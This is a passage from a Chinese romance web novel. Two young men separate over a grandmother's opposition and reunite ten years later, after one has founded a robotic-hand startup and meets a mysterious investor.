他把边煦拽到诊所,医生也说:“这个就是被臭虫咬了,开点膏子擦一擦,再吃点过敏药。只是他这种皮肤,在有臭虫的地方是住不了的,早晚抓烂了,得彻底地杀虫。完了今天这身衣服,回去换了,也用开水泡一遍。” 方笑贻暂时不敢让他过去住了,还是回自己家打地铺。 周末过得打仗一样,回学校反倒能喘口气,有寝室住、有食堂吃,上课就行了。 再回四海,方笑贻就把边煦放在家里,自己去那个租房试住了。 周内,他请王玉华过去喷过杀虫剂,结果还是有虫,他也被咬了,但只是几个包,跟边煦那个惨状,根本不是一个级别。 这地儿边煦是住不了了,方笑贻没办法,只好退了租。但边煦也不愿意老是住在他家,两人只好又开始跑房子。 方笑贻再看四海,哪家都好像有虫了,这里廉租房太多,卫生条件是不好,最后不愿意让他在这边租,去市场的马路对面,上班族工作的聚集地,给他租了个单身公寓。 等租金付完,边煦的“存款”瞬间没了一半。不过他在这儿不长包,方笑贻也就不心疼那个钱了。 边煦也不好意思老去蹭饭,方笑贻就叫他交了个伙食费,一顿20。 等缺的东西慢慢置办,边煦算是在安顿下来,便也跟着方笑贻,去了谢元朗介绍的那个竞技场,他俩申请了一个机器人,在那边着手训练。 他不得不开始考虑钱的问题了,因为一个月了,盛芝兰一次也没找过他。 她就像放任边扬在外面当乞丐那样,把他也“抛弃”了。 当着方笑贻的面,边煦尽量若无其事了,只是夜深人静的时候,他总是忍不住翻起手机,期望盛芝兰能给他发个什么。 哪怕是骂他没有良心。 然而没有,一个月了,连个标点符号也没有,她是榆临市最狠心的老太太。 也许是太年轻了,边煦就做不到像她这么狠。 他清早偷偷回去过,坐第一班地铁,躲在对面斜一栋的墙后面,只是太早了,家里灯都没有。其他时间又不方便,他怕方笑贻知道了多想。最后只好托了唐悦,去星洲湾上门给他探情况。 “你丫可真会给我找事。”唐悦骂骂咧咧地去了,给他发了几条消息,和一段5s的视频。 看到消息的时候,边煦跟方笑贻都在竞技场的训练区。 中场休息,方笑贻去拿水了,边煦才看的手机。 只是那消息太猝不及防了,又带着一点冲击力,边煦一时没能控制好表情,被转身的方笑贻看了个正着。 方笑贻见他脸色一变,隐约有点惶然,很快过来说:“怎么了?” 边煦迟疑两秒,把手机给他了。 也不用他说什么,唐悦的消息的很清楚。 [Rock唐]:你奶崴了下脚,自己摔的 [Rock唐]:骨裂,不要紧 [Rock唐]:视频.avi 边煦回了条:[多久了] 唐悦说:[个把星期] 后面暂时就没消息了,可能是因为自己过来了,方笑贻把手机还给他说:“你要回去看看吗?” 边煦眼帘上扬,回和不回都说不出口。 近来,他越来越沉默了,那种安静,和最初的高冷还不一样,是一种心里有事的不顺心。 方笑贻看在眼里,也觉得压抑,他换了个温和的表情:“你要是担心,就回去看看吧,我……能理解,这是特殊情况,不代表什么。” 边煦心里忽然很不是滋味,他怎么可以,让方笑贻开口替他妥协呢? 但他就是两边为难,哪边他都舍不下。 这天傍晚,他还是回去了一趟,拉着方笑贻一起。 边煦说:“我不进去,就在院子外面看看,这样不算回家,好吗?” 方笑贻说好,心里却在想:他们都挺会自欺欺人的。 两人在边煦上次躲的角落蹲了半天,看见屋里有人出来,是一对中青年男女,衣着都挺商务。 方笑贻闲着无聊,说:“这是干嘛的?” 边煦不认识:“可能是卖保险的吧。” 又或者是卖理财的,过来送礼品,顺便推销新项目。也有可能是盛芝兰持有股权的那个财富公司的员工。家里每年都有这种打扮的人出没,并不稀奇。 边煦没上心,又等了会儿,还是没看见人,就给盛芝兰打了个电话。 对面响了一阵才接,一接通,就是盛芝兰期待的声音:“阳阳,你主动给我打电话,是想通了吗?” 边煦一阵无言,他没接这茬,问了下她的脚。 盛芝兰的语气立刻冷了:“没什么事,很轻的扭伤而已,谢谢你的关心。如果你不打算回来,那我就挂了。” 边煦叫了她一声,盛芝兰沉默几秒,又说:“我最近在处理一些事,为了避免让你以为我是故意在向你施压,你先去你叔公那里一趟,打听明白了,再给我回电话。就这样,照顾好自己。” 说完她就断了线。 边煦再打,她也不接。边煦从他叔公的电话打到堂哥那儿,才得知盛芝兰在准备移民新加坡。 这事其实半年前就在准备了,家里好几个管企业的,都申请了新加坡的EP准证,目的是从那边向东南亚拓展业务。但只有盛芝兰获批了。 那个批准下来的时间,甚至在边煦从家里出去之前。而这么久了,她什么都没说,“故意”确实谈不上,可施压怎么可能没有呢? 她是他唯一相伴的亲人啊!她孤身去异国他乡,自己……也不跟吗? 边煦额角上青筋乱蹦,感觉有无数的压力在挤压他、逼他就范。 方笑贻看见他心碎的表情,胸口也缺氧般喘不上气来。 到了周四,继边煦一脚踩空楼梯、物理只考了83,把机器人的“回正”动作错点成“飞踢”,被踹翻之地之后,方笑贻终于受不了了。 一下自习,他近乎蛮横地把边煦拉回寝室,锁了门又关了灯,把人压在门背面急躁地撕咬,手指还往边煦松紧带里钻。 他不是特别主动的人,放在平时,边煦早该激动了。 但这晚,在磕碰的钝痛和他反常的急色里,边煦心里更多的,却是一种违和的不安。 他抓住了方笑贻作乱的手,又单手卡着他的脸,将唇齿短暂分开道:“怎么了?” 方笑贻不说话,固执地凑过来亲他。 边煦也让他亲,亲一会儿继续问他。 谁也没数他问了几声,方笑贻只记得自己头皮发麻地说完:“边煦,你回家去吧。” 那副被贴住的身体,猛地颤抖的那一下。 边煦则瞬间捂住了那张嘴:“不!” 方笑贻也不急着说话,静静地由他捂着。 边煦心里惶恐,恨不得把他捂到地老天荒,只是怎么可能呢?这是现实世界,他的手会酸。 边煦微微松了下手,心里恼怒也心痛:“你知道你在说什么吗?” 方笑贻眼角抽了一下,那神态似哭似笑,他低声说:“知道,我让你回家去。” “我回去,”边煦说,“就是我们分手的意思,你忘了吗?” “没。”方笑贻心想,怎么忘啊? “那你还让我回家去!”边煦脸上闪过气急败坏。 方笑贻难受地闭上了眼睛,好一会才说:“可你跟我,一直这么跟你奶奶耗着,真的对吗?如果是对的,为什么这么久了,你奶奶不见妥协的姿态,而我跟你,会越来越难受呢?” 胜负其实挺明显了,真的。 边煦的气焰顿时萎了:“对不起。” “别说这个,边煦,”方笑贻呼吸颤了下,“我不想听,你也没有对不起我。相反,你能坚持到今天,我已经挺感动了。只是你不高兴,我……我也累了,你想回家,就回去吧。” 边煦是想回家,但是,他说:“那我们呢?” 方笑贻用力闭上眼睛:“等到你不会再因为你奶奶的意见,而这么为难的时候,再说吧。” 边煦一瞬间不知怎么的,忽然就想通了。 确实,盛芝兰是他自己的难关,他不该拉着方笑贻一起闯的。 于是他向方笑贻索了个吻,亲完放开,也答应了:“好,我明天回家。” 他会回去彻底地感受一下,是盛芝兰的抛弃更煎熬,还是跟方笑贻分手更痛苦—— 第二天下午放学,边煦回了星洲湾。 之后,又和上次一样,方笑贻失去了他的音讯。 只是这次更久,也更彻底,方笑贻星期天返校的时候,他的床铺已经空了。等再听说他出国的消息时,人也已经走了好几天了。 虽说长痛不如短痛,但方笑贻还是耿耿于怀了很久:连个别都不告吗? 第63章 十年后。 杭市,长峰工业园,D区161号,云枢科技。 午后骄阳似火,饭点早过了,但因为会客区沙发上的那两个访客赖着不走,前台谭小萱也没法去吃饭,只好一边往嘴里塞小面包,一边给同事发消息。 [谭不拢]:席经理,过来帮我顶会儿岗 对面秒回。 [席顺-云枢销售]:又?叕要顶岗? [席顺-云枢销售]:这次是要带薪去做美甲,还是买裙子啊? 天这么热,肚子又饿,谭小萱不耐烦跟他拌嘴,手机对着沙发一竖,“咔嚓”拍了张照片给他。 没两分钟,公司的走廊里小跑出一个小年轻来。 他不到1米75,身形细瘦,做销冠打扮,穿浅蓝衬衫和深灰西裤,挂蓝色工牌,正是席子。 席子出了走道的死角,看见会客区那两颗后脑勺,顿时不屑地“嘁”了下,还要继续往那边走。 谭小萱却连忙跑出前台,把他拉回去:“干什么干什么啊?” 席子歪着身体靠在台上,面上一片讥诮:“打狗啊。” 谭小萱噗的笑了下,瞥着沙发,心里也是一阵唏嘘:“这些人确实挺狗的。咱们需要钱的时候,狗都不理,差一丁点就倒闭了。现在眼看着站住脚跟了,乌泱泱地全来投资了。” 都想拿钱换股权,等下一轮融资把估值推高了,再转手捞个非同寻常的溢价。 “可不是?”席子冷哼一声,从台边弹了起来,“尤其是这个舜为资本,最踏马可恨!” 这家其实还是来得最早的,只是说了投,最后又反悔,这种破事他们硬是干了两回,差点没把方笑贻急出心脏病。 但是谭小萱摁住了他:“算了算了,别搞事情,注意素质,现在跟以前不一样了,好多人都在盯着咱们,你别再给你哥添麻烦了。” 一个“再”字,登时把席子扎老实了。 的确,公司不像以前租仓库那会儿了,做错了也没人在意。现在它被摆在放大镜下,没错也得挑你点态度。 有时席子会觉得很烦,但更多时候,他都觉得像梦一样,因为自己年少时开的玩笑:祝哥飞黄腾达—— 竟然真的成真了。 一晃十年,榆临市跌落了不少富豪,方笑贻也从“贫民窟”的穷小子,一跃成为了所谓的科技新贵。 他人呢,也成了一个彻头彻尾的工作狂。 * “方哥,你电话响了。” 被同行的研发张侃摇醒的时候,“工作狂”人还在高铁上,刚刚做了个白日梦。 他们应邀,跟AICG实验室的团队一起,去拜访了长胜集团。 这个老牌的汽车国企,希望能在智能制造领域,跟他们联合开发能够适用于柔性产线、高危作业场景的“机甲同事”。 能够搭上这种背景,这自然是天大的好事,方笑贻没理由不高兴。 只是长胜这个CTO老赵总,太会选饭店了,那个昏黄的、贴着暗卷莲纹壁纸,和全是红木家具的包间,真的太像了,边煦家那个老宅的装修风格。 方笑贻梦见了那个客厅,但是屋里空无一人。 他恍怅然若失地睁开眼睛,看见窗外的景色如飞般倒退,像梦和现实拉开的速度。 十年了,他还是记得这个人。 不过有可能,是因为他们真正停止联系的时间是五年前,它还不够长。 方笑贻接了席子打来的电话。 对面对舜为资本还是耿耿于怀,发了一通牢骚才说:“哥,咋整哪?你前台大姐不许我轰人,但不轰他们又在这儿蹲你,来好几趟了,你不烦,我都烦死了!” 以前是他到处求投资,现在风水轮流转了。 方笑贻短期内也确实没有融资的打算了,钱够了,研发和市场都够他们消化的了。 他想了下,说:“你给周牧也打个电话吧,反正他也没事干,你叫他来给对面泼泼冷水。” 也不是巧,只是这个园区给青创的政策好,周牧也也在这个园区,他跟发小合伙开了家资本公司,做金融投资。 方笑贻跟他也算半个邻居,加上中间这些年,方笑贻跟着谢元朗打了两年比赛,向黎跟谢元朗又贵圈真乱地复合过,反正乱七八糟的,大家都混了个朋友样。 之前,周牧也看见热度,也想来云枢掺一脚,但来晚了,方笑贻也把他给拒了。不过他当时给的价格,也比舜为好多了。 “我叫?”席子笑出了声,“就那大爷,眼睛长在头顶上,只跟比他牛笔的说话,他不会搭理我这种小卡拉咪的。哥你自己叫吧,我装作不认识他就是了。” “行吧。”周牧也确实有点慕强,方笑贻挂断,换了个电话打。 对面果然很闲,很快就接了电话,只是一听说他只是想利用自己,去劝退自家的赖皮客,,登时气笑了。 “我天,方笑贻,方总!你砍了我的投资意向书,还想让我去帮你劝退你自己不想应付的阿猫阿狗?你当个人,行不行?或者你别这么抠,就花点钱,请个商务总监,帮你应付这些破事。” 方笑贻说:“不行,总监太贵了,我请不起。” “闹呢大哥,”周牧也真是受够他了,“你A轮刚拿了两千万美元的投资,那可是本币的9位数,一个几十万的COO,你说请不起?” “你才闹,那是给我发工资的吗?那是打到公积里,拿去研发投产的。” “诶行了行了,你这一点都不会享受,当了老板,也是个牛马老板。” 方笑贻白手起家,不当牛马节约成本,早凉穿地心了,闻言不咸不淡:“那肯定,是比不了你这种富二代老板的。” 周牧也有点不爽:“嘲讽我呢,带爹创业。” 方笑贻巴不得有爹带:“懒得跟你瞎掰,你去不去?不去就说一句不去。” “诶哟我去,”周牧也阴阳怪气的,“但是我也不能白干,是吧?你得请我吃饭。” 方笑贻却不太爱跟他吃饭。 周牧也是直男,但他爱好小众,喜欢当媒婆,一直想把表弟介绍给自己,还推销什么阳光男孩,大猛1,不过为爱当0也行。 方笑贻真是满头黑线,不过他帮了忙,饭还是有,方笑贻说:“行,改天吧。” 但周牧也听见他在高铁上了:“干嘛改天?你不是回来了吗?今天吃了拉倒,我明天就去金边了,几时回来不好说。” “今天真不行,”方笑贻正色道,“杜廷总痛风住院了,我得去医院看看他。” 杜廷此人,是创业社区[智谷空间]的创始人,这个社区的目的是挖掘有潜力的科技创业者,帮他们链接行业和金融资源。 四年前,方笑贻那笔起死回生的200万天使投资,就是这人从天而降带来的。 而杜廷慧眼独具,在无人问津之时,用近乎做慈善般的条件,第一个投中如今的科技黑马,也是投资圈的一桩热事。 杜廷是他的伯乐和贵人,周牧也不好意思抢饭了。 挂了电话,没多久就到站了。 方笑贻跟张侃下了车,外头像个蒸笼,在这站下的人又多。他俩带了设备,方笑贻懒得挤,干脆在离电梯最近的木椅那儿等。 张侃比他还小一岁,但烟瘾比方笑贻大多了,得空就得抽两口。 正好椅子这还有垃圾桶,张侃站定就抖了根烟屁股出来,说:“来一根?” 方笑贻摇了下头,这一摇余光晃动,不知怎么就被他注意到了,在对面的电梯口那儿,有个人也跟他一样,完全站在电梯口外侧。 那人穿白色短袖衬衫、黑西裤,很寻常的打扮,但身形比例优越,乍一瞥,都长身玉立的感觉。 纯粹是出于人对美学的反应,方笑贻正眼瞧了一下。 却赶上对方忽然低头,斜着往里去了,从被电梯半遮半掩到不见,大概也就一秒。 可那个头型的轮廓、被刘海半掩的鼻梁下颌,以及走开的姿势,都诡异的,有种扎透方笑贻眼球的熟悉感。 一瞬间,他脑子里嗡的一下,好像听见有人大喊:边煦—— 但一点拍击感落在手臂上,方笑贻回过神,却只看见了张侃担心又困惑的眼神:“老板?你没事吧?” “我……”方笑贻嗓子眼发紧,“没事。” 张侃也不晓得他怎么了,忽然就六神无主的,好像被吓到了一样,猜测道:“你低血糖了吗?” 方笑贻的大脑已经不够分析了,自己其实没有在车站大喊,他只是盯着电梯对面摆手:“没有,不是,你看下箱子,我、我……” 话没说完,他人就跑了。 只是等方笑贻追到对面,又沿着步梯找下去,再到出站口,穿黑白衬衣西裤的人不是没有,但都不是那个。 怎么跑得这么快?还是自己其实出现幻觉了? 方笑贻在闸机口茫然地转圈,最终还是没有追出去。 算了,找不到的,他找过边煦的,为了这个人,他还去过新加坡,那是他人生第一次出国。 等他再往站台上走的时候,电梯半道上,张侃已经下来了。 “你找谁去了?”张侃猥琐地笑道,“不会是初恋情人吧?” 方笑贻没心情应付他的好奇,拉过一个箱子说:“再八卦扣你奖金。” 张侃“切”了一声,他是加州理工逃学回来的博士,是揣着为人类的进步添砖加瓦的瑰梦来的公司,区区一点奖金? 张侃毫不犹豫地大惊小怪:“你居然还有过情人?我还以为你老婆是Wave01呢。” 浪潮Wave01,是他们公司开始真正获得关注的产品:第一只1:1人手比例的仿生机械手,造型优美,直驱电机、自由度22,核心技术是DTA(动态触觉阵列),灵敏度和迅捷度都遥遥领先同行。 当然,它很贵,只是方笑贻默默迭代了8年的炫技之作。 他们公司也有平价版,但投资人和客户一个比一个贪,都巴不得用白菜的价格,买到浪潮的质量。 方笑贻看了他一眼,实在不想跟他说:其实Wave01的底层代码,也是那个情人写的。 进了地铁之后,方笑贻把设备都给了张侃,自己去了第三人民医院。 杜廷住在三病区406房,方笑贻路上搜了下,顺路买了点猕猴桃、樱桃、苹果,进门的时候,杜廷小儿子正在给他捏腿。 方笑贻喊了声廷总,病床上的人看过来,“唷”地笑了下:“你不是去长胜总部了吗?什么时候回来的?” 杜廷今年45,方圆脸、梳小背头,戴眼镜,笑容灿烂,亲和力极强。 方笑贻把水果放在桌上说:“下午回来的,你膝盖怎么样了?” “啥事没有,积液都消了,也不肿了,你明天这会儿来,我都出院了。” 方笑贻说实话,将信将疑:“明晚你有个现下的会吧?都今天了还没改日期,还不是怎么着都逃出去了。” 杜廷拿食指把他警告地一指,刚要说话。 一个短发的女人从卫生间出来,插嘴说:“就是,你看,人家小方都知道你的德行。” 这是杜廷的爱人,他不爱听,咧咧两句,叫她媳妇带孩子下楼买雪糕去了。 方笑贻坐下来,继续跟他扯那个闭门会。 [智谷]每年不同时间,都会有分门别类的邀请制访谈或座谈会,闭门会就是每年这个时候,请的人都是当年最热门的互联网科技话题领域的大佬。 他们今年的话题,是AI Agent。 这玩意粗暴地解释,相当于AI的app,时下正火,什么“手把手教你,靠AI Agent年入百万”的文案已经烂大街了。 提到这个,杜廷忽然一拍大腿,说:“对了,明天晚上的闭门会,你也来吧,我介绍个人给你认识。” 杜廷这人是很好的桥梁,曾经就很用心地帮方笑贻搭建过技术和产能上资源。 方笑贻从不怀疑他的动机,只是有点困惑:“Agent是做大语言模型的吧?” 杜廷“嗯”了声。 “但我是做‘手’的,我去了一问三不知,小心别人说你水。” “不会的,现在你今非昔比了,他们只会想加你的v信,”杜廷打趣完他,又正色道,“而且我说的这个人,你一定得见。” “为什么?” 杜廷看着他,欲言又止几秒,然后才哭笑不得地说:“因为呢,你当年拿到的那200万救急的钱,其实不是我们投的。” 方笑贻目光一震。 杜廷赶紧解释:“当然,这绝对不是我们要抢投资人的功劳,是他自己要求的,他不想在那个融资的披露栏上露面,所以股份是我们代持的,有些有钱人是这样的。” 不露面,也没要求,这是什么活雷锋? 方笑贻越听越迷惑:“他、他为什么要投我?他认识我吗?” 当年,方笑贻还在郊区的城中村里办公,公司注册资金10万,同事也只有席子,席子的职位是厨子、保洁、采购、搬运工的集合体。 对方上哪儿认识他去? 杜廷说:“他说不认识,只是在网上看到了你在H市大学生创业大赛上的视频,他挺喜欢你那个手的,说外形很简洁流畅。” 方笑贻眯了下眼睛:“就这样?” 杜廷耸了下肩:“就这样,但你不服不行,人家就是你这个领域,眼光最好的人。” 方笑贻一时百感交集,原来他真正的“救命钱”,来自一个草率的网友。 那他确实是该去见一见,准备点礼物,请人家吃个饭什么的。 方笑贻问杜廷打听对方的年龄和喜好,杜廷说:“是个大爷,可潮了,斜挎一个葫芦样的酒杯,说几句就要嘬一口。” 方笑贻心想是潮,一个还会看大学生创业大赛,还不想透露姓名的老头儿。 挺有意思。 他又问杜廷要v信,杜廷很快推了张名片给他。 方笑贻点开一看,头像是个在沙滩上划的简笔微笑,两道上弯加一道下弯,昵称到也很符合老年人的审美。 [笑对人生] 方笑贻点了申请,在框里写了一排自我介绍:投资人老师您好,我是云枢的方笑贻,期待您的通过。 第64章 申请立刻就被通过了,快到方笑贻还没退出v信。 他呆了下,还没时间措辞,该怎么正式打招呼。 杜廷已经就着侧身拿茶杯的姿势,瞥到他的屏幕,然后忽然乐了。 “稀奇了,”杜廷说,“难得这老头儿给回复这么快。” 方笑贻无从比较,只能瞎扯:“可能是赶巧吧,刚好在用手机。” 杜廷不置可否道:“那我就是每次都不赶巧。” “还每次,”方笑贻笑了下,“你找了他很多次吗?” “昂,”杜廷拧开杯盖,吹了口茶叶沫,“我不得给你们小年轻拉投资吗?你瞧他给的你那手笔、那自由度?我一没辙了我就找他。” 方笑贻真的服了:“你还能不能行了?别这么坑我的投资人行吗?” “放你的心吧,”杜廷打趣他,“坑不了一点,人家就对你情有独钟,这好几年下来,一个项目没再投。” 方笑贻谦虚地说:“可能人家走了别的投资渠道。” “可能吧。”杜廷应了一声,呼呼喝茶去了。 方笑贻心里其实还有疑问,但得了空,还是先发了消息。 [罗总,您好,我是方笑贻。对于您在天使轮的慷慨资投,我一直不知情,也未曾表达过谢意,真的万分抱歉。] 对面很快就出现了[正在输入中]的提示。 只是输入了半天,才发来一条:[别客气,我已经收到超额回报了] 太会说话了,但他还是救命的金主。 方笑贻拿出对领导的尊敬和正式,提完明天的线下会,又发:[不知道您在杭市的行程有几天,您看您哪天方便,能不能拨冗让我做个东,接您吃顿便饭。] 对面静了几秒,回过来一条:[明天杜总的晚会,你会来吗] 方笑贻顿时从里面嗅出了一丝,是他叫杜廷喊自己去的意思:[会的] [笑对人生]:那到时候见面碰吧 方笑贻回了个好的,对了又[输入中]了几秒,但什么也没发过来,方笑贻便熄了屏,回头找杜廷释疑去了。 “罗总之前,不是不想让别人知道他吗?现在你既然挑破了这件事,”3轮融资经历下来,方笑贻还是有了点资本层面的敏锐度,猜道,“是因为,他想退出了吗?” 股东退出,要么内部转让,要么需要其他股东的半数以上同意,届时股权会变更,隐名股东都是要出面的。 杜廷点了下头。 可这会,别人都削尖了脑袋在往里面挤,再等等其实会更划算。 方笑贻皱了下眉:“为什么?罗总他是、资金上遇到困难了吗?” 杜廷又摇头:“他倒没这么说,只说想结束这个代持的局面了。” 代持确实有风险,方笑贻点了下头,又聊起杜廷请他来干什么?因为这个座谈会是行会,而不是投资会。 结果杜廷说:“因为国产版的第一个智能体 app,就是他们公司做的。” 好吧,人是核心嘉宾。 方笑贻记了罗总家app的名字,准备回家了解个皮毛。 这时已经是饭点了,杜廷的媳妇儿回来了,还给方笑贻带了份肥牛滑蛋的盖饭。 只是他才掰开筷子,公司的人事大姐李飞兰就打了个电话过来。 “方总,你回来了吗?”她语气有点急,“出事了,研发部的熊彬跟席子打起来了,架已经劝住了,但他说要辞职,还煽动别人一起。我看好几个的脸色,都有点不对劲,所以我觉着你还是来一趟。” 方笑贻脸色一下绷了起来,心烦道:“你叫老何带熊彬去会议室,席子去仓库,叫他别出来,我说的。我这就回来,40分钟以内。” 说完,他在扒两口和打包之间,盖上了打包盖。 杜廷一问,露出了一个感同身受的糟心表情,挥手叫他走的时候,又说:“公司做到这个关口,你是该招个好的管理层了,或者招个技术官,你来管理。” 方笑贻其实真没觉得,他们是什么大公司了,估值是很虚的东西,能一下膨胀十几倍。但以后呢? 自己或许是该把眼光放长远一点,不过眼下,主要还是这东一榔头西一棒子的杂事,把方笑贻弄烦了,他上心道:“知道了,你有合适的,也给我引荐引荐。” 等回到公司,风波已经消停了,只是研发部气氛古怪,员工都做贼似的,从眼角里斜觑他。 今晚看来都没心思干活了,方笑贻干脆叫他们回家了,又去会议室找熊彬谈话。 熊彬进公司挺早的,岗位是AI算法工程师。浪潮发布之后,他的月薪调成了4万5,这已经是方笑贻能给他的极限了。 但熊彬说:“外面有公司花6万挖我,还承诺给我股份期权,我都没同意,因为我项目还没跟完,而且我对公司有感情。” 他在暗示自己,给他这些,方笑贻平静地看着他说:“对不起,对方公司能给你的这些,我给不了。” 熊彬顿时满腹牢骚,说进了公司就只有加不完的班,但得到的都是病。 方笑贻心里明白,他过不久肯定走了,但还是说了些挽留的话术。 惨淡地聊完,熊彬回去了。 工位那边,张侃跟老何这两个自动牛马还在。 张侃大概是听墙角了,十分不屑道:“就他?天天上午偷偷炒股、下午看球赛,晚上才copy一下他那些版版都差不多的烂代码,哪来的脸要6万啊?你就让他走,再招一堆我这种天才进来。” 方笑贻嘴上说“行行行”,心里却在想:哪有那么多天才啊兄弟,他能招到几个认真干活的都不错了。 离开工位,方笑贻又去了仓库。 席子这儿也是个麻烦,他学历可以说没有,但偏偏又有原始股,还跟自己沾亲带故,是技术骨干心理不平衡的源头。 然后这小子一生气,就要把股份转给他。 方笑贻还得给他心理按摩,这一通操作下来,等方笑贻再骑着电动平板车回家、洗澡,等看到消息的时候,已经11点半了。 [笑对人生]:帮朋友请教个问题 [笑对人生]:用在细小零件组装产线,哪款灵巧手性价比最高? 消息是8点半出头发的。 方笑贻赶紧又切回工作状态。 [方笑贻]:罗总,不好意思,才看见 [方笑贻]:工业精密装配的话,可以选子期智能的L3,或者亿灵科技的Revo2,不过它们两家在细分上还是有点不一样,方便问下您朋友的具体产业吗? 对面居然也没睡,回得还挺快,只是文不对题。 [笑对人生]:忙到现在吗? 拖了几个小时才回消息,不忙也得忙了,方笑贻寒暄了一条:[公司有点杂事,不过现在已经不忙了] [笑对人生]:但现在已经快半夜了,你休息吧,明天说 方笑贻喜欢今日事今日毕,他回了个:[没事,这就几句话的事] 可对面没再回复,倒是他自己想起礼物和吃饭的事,点了下对面的朋友圈,本想摸索一下喜好。 可谁知对面就一条动态。 [笑对人生]:你好,新起点[配图] 那图是一张火车站的站台照片,镜头斜着穿过列车和电梯的走道,地上有人,顶上有站牌,标着杭市站。 方笑贻登时被巧愣了。 因为那个照片里,电梯旁边的人穿燕麦色polo衫和黑西裤,就是他昨天的打扮。而这个动态发布于昨天下午5点06分,也就是他跟张侃下车没多久。 * 这个罗总,是跟他们坐一趟车来的吗? 这个倒没什么,只是方笑贻自己在镜头里,他就下意识放大了下自己。 照片里,他人背对着高铁,张侃被电梯挡住了,只露出了一只手和烟盒,当时正在问他要不要烟。然后下一秒,他就看见了那个白衬衫。 想起这个,再看照片,方笑贻就一阵微妙,因为他越看,就越觉得那个拍照的位置,像那个白衬衫站的地方。 但也不可能,杜廷都说了,罗总是个揣葫芦酒杯的大爷。 方笑贻自嘲地扔掉手机,感觉自己真是病得不轻。 翌日一早起来,那个罗总的消息已经来了。 [笑对人生]:他家是做精密电子仪器组装的 方笑贻出门之前,把消息回了。 [方笑贻]:那我个人建议,选Revo2,它家成本可能略高一点,但在电子这块落地的反馈比L3好 [方笑贻]:不过亿灵家的交付比较慢,等货时间普遍比合同晚两周以上,这点您的朋友也得列入考量 五分钟后,对面回了两条。 [笑对人生]:收到,谢谢 [笑对人生]:不过你怎么不推荐自己家的手? 方笑贻人在路上骑平板车,到了公司才回:[就精仪的产线要求来说,Revo2的合格率够用了,我们的还是贵了一点] [笑对人生]:这么实诚 [方笑贻]:反正不坑自己的投资人 对面给他发了个大拇指表情,又说:[那要是投资人坑你呢?] 方笑贻对着的就是个投资人,还不熟,只能说漂亮话:[我碰到的投资人都还挺好的] 对面过了会儿,才发来一条:[那就好,晚上见] 方笑贻也没等,忙到中途才看到,回了个好。可谁知到了晚上,天都黑了,他还没能脱开身。 因为到了下午2点多,杭市产业大基金的领导才忽然闪现,还带了几个不同国籍的外商,说要去组装线上参观。 他们来得仓促,方笑贻也旋成了个陀螺,立刻抓着英语好的张侃,又带着商务、技术、行政陪同。然后跑完郊区的组装线,“简餐”还没吃上,就已经6点多了。 然而杜廷的会谈是6点半开始。 6点半先聚个餐,大家吃着闲聊一会,也熟悉熟悉,吃完了再换个场地做交流。 方笑贻眼见着赶不上了,5点半就给杜廷打了个道歉电话。 杜廷倒是无所谓:“说什么呢,事有轻重缓急,领导带着中东土豪空降,别人求都求不来,你好好作陪吧,这边都是小事。罗……呃咳,罗总也不会介意的。” 他咳得突兀,但衔接得流畅。 方笑贻也没留意,只说:“那我给罗总打个电话,解释一下。” 杜廷的声音顿时离开了一下话筒,跟旁边的人嘀咕了两句。 但那边好多人说话,方笑贻没听清,只听见他又回来说:“不用了,人就在我旁边,我已经跟他说过了。他说没事,叫你去忙,忙完了再说。” 方笑贻有点惭愧,正待画个大饼,领导又叫他,只好匆匆挂了。 于是等到吃完饭,把人送走,时间已经8点多了。 张侃问他回不回公司,方笑贻没回他,给杜廷的助理小涛打了电话:“涛儿,你们那边结束了吗?” “没呢,”小涛无语道,“大会倒是差不多了,应该再半小时就欧了。但是给杜总找到个佬呢,给他聊嗨了,拉着别人开小会去了,搞不好半夜都结束不了。” 佬就是大佬,杜廷找到感兴趣的对话者就会这样,变成话痨,那他稳稳地走不了。 方笑贻放下半颗心说:“那罗总呢?” “他呀,”小涛不是很确定道,“可能跟杜总在一块儿吧。” 方笑贻说知道了,挂了电话,又分别给杜廷和罗总发了条消息,说自己过来了。 杜廷的会开在南山学院。 这里看着像个公园,但其实竟是个社会大学。不过里面没有常驻学生,主要是给社会上从事创作的人和单位做培训的地方。 杜廷是这里的协会会员,也是投资人,平时有会,都在这边租会场。 方笑贻从正门这边进去的时候,果然,已经有人在往外走了。他给杜廷打电话,对面尾音一个劲地上扬,真如小涛所说,激动上了。 “来啦?快来快来,我们在多功能2厅的小会议室。” 方笑贻照着路标穿过半个庭院,到了2厅。小会议室就在2厅西边,是个偏方的空间,屋里摆着个长方桌。 但方笑贻进门的时候,桌上有水、水果、翻开的笔记本电脑,和一个紫砂茶杯,但是没人。不过那茶杯是杜廷的,对面又还有一扇门,门外也有人说话的声音。 方笑贻猜他们是到外面抽烟了,自己就穿过室内,也准备出去。 只是他刚到门口,门外也有人要进来。 而他又不像方笑贻,是对着门出去的,他是从左边的墙后面忽然冒出来的。 方笑贻一早没看见他,等看到的时候,已经迎头撞上了。 两人胸口结实相碰,又差不多高,额头瞬间也磕到了,来人的鼻尖戳在他脸上。 不过事发突然,除了头上的撞痛和惊悸,别的方笑贻也没感受到,他只是瞬间刹住身体,拿左手在对方身上撑了下,借力往后退的同时,头脸往后一仰,然后瞳孔就猛地一缩,怔在了当场。 因为眼前的脸锋利凛冽,分明是……边煦。 可是边煦,边煦怎么会忽然冒出来? 方笑贻难以置信地眯了下眼睛,心里忽然又很空虚,像眼前的画面是假的,就跟车站里一样。 但下一秒,这“假画”对他笑了下。 分开的空白瞬间令方笑贻注意到,边煦有点不一样了。 他成年了,五官肯定成熟了些,也黑了一点,不过这些变化都不算太大,主要是气质…… 只是方笑贻没看分明,对面的人就凑过来,用一种很紧的力道搂住了他。然后一点柔软擦过耳廓,低语又带着丝丝热气,吹进了方笑贻的耳膜。 “好久不见,方笑贻,我、我很想你——” 想他? 方笑贻形容不出来那种感觉,当他的牵挂落到实处,他的第一反应竟然不是安心,而是愤怒。 他甚至不自觉露出了一丝冷笑,也侧过脸,一边推他,一边悄悄地说:“5年连个人影都没有,有什么好想的?” 边煦心里钝痛难当,但更多的还是满足和渴望。 站在方笑贻的立场,他一定是个没品的烂人,两次不告而别。不过边煦谈不上后悔,因为边家一破产,他就比过街的老鼠还不如,那种人生,再来一次,他还是选择独自处理。 但是今天,是很好的一天,他把钱还清了,获得了正常普通人的资格,也见到了想见的人。 杜廷和老罗在旁边大眼瞪小眼,边煦也视若无睹,细碎地笑出一串气音,带着愉快的气息,继续窃窃私语:“没有人影,也想。” 方笑贻顿时“看”明白了他的一点变化,那就是:他好像变得更不要脸了。 